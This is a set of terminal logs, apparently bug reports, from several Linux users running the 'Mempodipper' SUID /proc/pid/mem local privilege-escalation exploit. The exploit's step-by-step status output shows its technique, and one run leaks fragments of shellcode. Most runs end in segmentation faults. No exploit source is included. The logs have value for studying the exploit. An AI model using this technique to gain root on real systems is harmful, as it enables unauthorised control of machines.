Linux Local Privilege Escalation via SUID /proc/pid/mem Write

unfo@unfo-job:~/tmp> ./a.out 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/12933/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401a60.
[+] Calculating su padding.
[+] Seeking to offset 0x401a43.
[+] Executing su with shellcode.
Ошибка сегментирования

unfo@unfo-job:~/tmp> ls -l /bin/su
-r-sr-xr-x 1 root root 41359 янв.   8 09:44 /bin/su

[15:18] fletch@helix ~\ $ uname -a
Linux helix 3.1.9-2-ARCH #1 SMP PREEMPT Sat Jan 14 09:11:37 CET 2012 x86_64 AMD Athlon(tm) II X2 250 Processor AuthenticAMD GNU/Linux
[15:18] fletch@helix ~\ $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/7913/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401a60.
[+] Calculating su padding.
[+] Seeking to offset 0x401a3e.
[+] Executing su with shellcode.
Ошибка сегментирования
[15:18] fletch@helix ~\ $ ls -la /bin/su
-r-sr-xr-x 1 root root 41359 янв.   8 07:44 /bin/su

watcher ~ # uname -a
Linux watcher 3.2.1-gentoodvb #1 SMP Sat Jan 14 16:14:57 EET 2012 i686 AMD Athlon(tm) 64 X2 Dual Core Processor 4200+ AuthenticAMD GNU/Linux
watcher ~ # ls -la /bin/su
-rws--x--x 1 root root 30940 Ноя  2 01:14 /bin/su
fletch@watcher ~ $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/14592/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./mempodipper -o ADDRESS
[-] Example: ./mempodipper -o 0x402178

[michael@rufi dev]$ uname -a
Linux rufi 3.2.1-1-ARCH #1 SMP PREEMPT Fri Jan 13 06:50:31 CET 2012 x86_64 Celeron(R) Dual-Core CPU T3300 @ 2.00GHz GenuineIntel GNU/Linux
[michael@rufi dev]$ ./exploit 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2057/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401a60.
[+] Calculating su padding.
[+] Seeking to offset 0x401a43.
[+] Executing su with shellcode.
Ошибка сегментирования

$ ls -l /bin/su
-rws--x--x 1 root root 36680 Янв 20 20:34 /bin/su

$ ./a.out 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/7059/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402100.
[+] Calculating su padding.
[+] Seeking to offset 0x4020e5.
[+] Executing su with shellcode.
Неизвестный id: H1��iH1��j@�@��!H�//bin/shH�SH��H1�f�-iSH��H1�PQWH��H1Ұ;

[kirill@Arch ~]$ uname -sr
Linux 3.1.6-1-ARCH
[kirill@Arch ~]$ ./a.out 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2442/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049180.
[+] Calculating su padding.
[+] Seeking to offset 0x8049177.
[+] Executing su with shellcode.
Segmentation fault
[kirill@Arch ~]$ 

$ uname -a
Linux optima 2.6.32-5-amd64 #1 SMP Wed Jan 12 03:40:32 UTC 2011 x86_64 GNU/Linux
$ cat /etc/issue
Debian GNU/Linux 6.0 \n \l